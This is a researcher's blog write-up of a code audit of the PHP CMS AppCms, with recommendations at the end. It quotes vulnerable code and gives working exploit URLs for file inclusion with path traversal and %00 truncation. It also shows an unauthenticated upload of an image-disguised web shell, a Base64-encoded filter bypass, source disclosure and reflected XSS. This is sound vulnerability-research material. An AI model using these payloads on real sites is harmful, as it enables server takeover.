A Comprehensive Audit of AppCms

SummaryI. Preface After June began, I had more free time. Several competitions were over, and there were temporarily no tasks from NSFOCUS before I started work in July. I chose previously audited source code and reviewed it myself to identify gaps and gain experience. I had also promised at a T00ls meetup to publish an article, so after years of lurking, here is this somewhat unstructured CMS audit…

APPCMSCode Auditing

I. Preface

After June began, I had more free time: several competitions had ended and there were temporarily no tasks from NSFOCUS before I started work in July. I decided to study seriously by re-auditing source code previously reviewed by another researcher, measuring my gaps and gaining experience. I had also promised at a T00ls meetup to publish an article, so after years of lurking, here it is. This CMS audit is somewhat unstructured; please bear with it.

II. Main Analysis

My usual audit flow is: understand the directory structure → audit specific features → investigate by vulnerability class.

1.png Figure 1. Main Directory Tree

The directory tree clearly includes admin, cache, data storage, installer, plugins, and mobile directories. With the overall structure understood, the audit begins.

Start with index.php. Unusually, rather than merely importing core files, the entry point contains filtering code directly.

// 预防XSS漏洞
foreach ($_GET as $k => $v) {
    $_GET[$k] = htmlspecialchars($v);
}
$dbm = new db_mysql();
//预处理搜索时的值,主要是防止sql的注入
if (isset($_GET['q'])) {
    if (isset($_GET['act']) && $_GET['act'] == 'hot') {
        if (trim($_GET['q']) == '') {
            $sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
            $res = $dbm->query($sql);
            if (empty($res['error']) && is_array($res['list'])) {
                foreach ($res['list'] as $k => $v) {
                    $res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20);
                }
                echo json_encode($res['list']);
                exit;
            } else {
                die();
            }
        }
    }
    //超出长度截取
    if (strlen($_GET['q']) > 20) {
        $_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
    }

    if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索词不能为0或空,请重新输入。点此 <a href ="' . SITE_PATH . '">回到首页</a>');
    if (!preg_match("/^[{4e00}-{9fa5}{0}]+$/u", $_GET['q'])) {
        die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
    }

The system applies two filters: htmlspecialchars($v) and /[1]+$/u. The first filter converts predefined characters such as < and > to HTML entities; the regular expression permits only underscores, digits, letters, Chinese characters, and spaces.

The next code loads category sections. I expected little from this file until its final blocks caught my attention.

if (substr($tpl, strlen($tpl) - 4, 4) == '.php') {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;
} else {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';
}
if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file);
require(dirname(__FILE__) . $tmp_file);

The code builds a PHP filename, checks whether it exists, dies if absent, and includes it if present. With no validation, this is an obvious file-inclusion vulnerability. I tested it by creating a phpinfo file in the root directory.

2.png Figure 2. phpinfo File

Then construct the payload according to the code.

http://localhost/app/index.php?tpl=../../phpinfo&id=1

3.png Figure 3. Inclusion Result

The read succeeds. This suggests two exploitation paths: retrieve sensitive information, or upload a file containing a web shell and reach it through the inclusion vulnerability. The first produced no useful information because the admin area mainly involved JS and PHP files, so I turned to the second. There was no upload feature on the public site, but the admin area revealed an interesting one.

4.png Figure 4. Upload Endpoint

app/upload/upload_form.php?params=%7B%22inner_box%22%3A%22%23ff1%22%2C%22func%22%3A%22callback_upload_resource%22%2C%22id%22%3A%221%22%2C%22thumb%22%3A%7B%22width%22%3A%22300%22%2C%22height%22%3A%22300%22%7D%2C%22domain%22%3A%22localhost%22%7D

The upload endpoint has no authorization. Anyone who knows the URL can upload images or APKs. upload_form.php confirms that it checks only file type and request parameters; correct parameters allow upload without authenticating the visitor.

 $upload_server= SITE_PATH."upload/";
    //上传安全验证字符串
    $verify=helper::encrypt(UPLOAD_CODE.strtotime(date('Y-m-d H:i:s')),UPLOAD_KEY);
    $params=$_GET['params'];
    $params=preg_replace('~(\)~','"',$params);
$json=json_decode($params);

This was interesting. Combining it with the file-inclusion issue, I uploaded an image containing a web shell and attempted to obtain a shell.

5.png Figure 5. Uploading a Web Shell Disguised as an Image

Note: uploaded filenames are randomized, so real exploitation may require directory enumeration or another way to recover the name. The server stores a JPG file; direct access naturally reports that no template exists:

6.png Figure 6. Read Attempt

This naturally suggested %00 truncation. My local PHP version was 5.2.17, below 5.3.4, and magic_quotes_gpc was disabled, so truncation worked:

7.png Figure 7. %00 Truncation

http://localhost/app/index.php?tpl=../../upload/img/2017/06/11/ 593cc2106fd93.jpg%00&id=1

The web-shell client connects successfully.

8.png Figure 8. Web-Shell Client Connection

After the entry file, I audited installation but found no issue. The system lacks registration and login, so I shifted to vulnerability-focused review and found a problem in root-level pic.php:

if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']);
	$img_url = base64_decode($img_url);
    $img_url=strtolower(trim($img_url));
    $_GET['type']=strtolower(trim($_GET['type']));

    $urls=explode('.',$img_url);
    if(count($urls)<=1) die('image type forbidden 0');
    $file_type=$urls[count($urls)-1];

    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

    if(strstr($img_url,'php')) die('image type forbidden 2');

    if(strstr($img_url,chr(0)))die('image type forbidden 3');
    if(strlen($img_url)>256)die('url too length forbidden 4');

    header("Content-Type: image/{$_GET['type']}");
    readfile($img_url);

} else {
	die('image not find£¡');
}

A GET request supplies url and type. url must be Base64-encoded, is converted to lowercase, and is then validated. The checks reject lengths above 256 or at most 1, the keyword php, and non-canonical paths. type must be jpg, gif, png, or jpeg.

The developer clearly considered security, but two vulnerabilities remain: file inclusion and file download.

The url parameter is validated several times, but the developer overlooked encoding transformations. URL-encode characters such as %00 and php, then Base64-encode the result, and all of these checks can be bypassed.

Construct the payload from the file-inclusion vulnerability above.

http://localhost/app/pic.php?url=dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn&type=jpg

Decoding dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn gives upload/img/2017/06/10/593cc2106fd93%2e%70%68%70%25%30%30.jpg. Here %2e%70%68%70%25%30%30 is .php%00. Connect with a web-shell client.

9.png Figure 9. Connection URL

10.png Figure 10. Successful Connection

Another vulnerability isheader("Content-Type: image/{$_GET['type']}");

Set type to a value outside every in_array() option. Content-Type: image/type then prevents correct parsing because of the invalid header and causes the raw source file to download. Try adding header("Content-Type: image/php"); to a PHP file to observe the effect.

Continuing through the files reveals many reflected XSS issues. I will discuss two.

First location: /templates/m/inc_head.php

<input type="text" id="abc" class="search-txt" value="<?php if(isset($_GET['q'])) echo $_GET['q'];?>" />

This is obvious XSS: it checks whether q exists, then outputs it directly.

Construct the payload directly:

http://localhost/app/templates/m/search.php?q="/>

The vulnerability triggers successfully.

11.png Figure 11. XSS (1)

Second location: /templates/m/search.php

<title>ËÑË÷ <?php if(isset($_GET['q'])) echo $_GET['q'];?> - <?php echo SITE_NAME;?></title>

As above, construct the payload directly:

http://localhost/app/templates/m/search.php?q=a

The vulnerability triggers successfully.

11.png Figure 12. XSS (2)

The awkward part is that inc_head.php itself contains XSS and is included by many files, spreading the issue across the application.

III. Security Recommendations

For file inclusion, allowlist fixed filenames. This preserves the feature while preventing easy bypass. Setting open_basedir is another defense.

There is little to add about the XSS. Unlike the desktop site, this code lacks direct regular-expression validation. Applying filtering like index.php would address it.

IV. Conclusion

This audit was a useful step forward and a summary for me. My main regret is not finding SQL injection: the entry-point regular expression and HTML-entity escaping of double quotes prevented me from closing the expression.

Interested readers can download the system and audit it for practice. Corrections and feedback are welcome.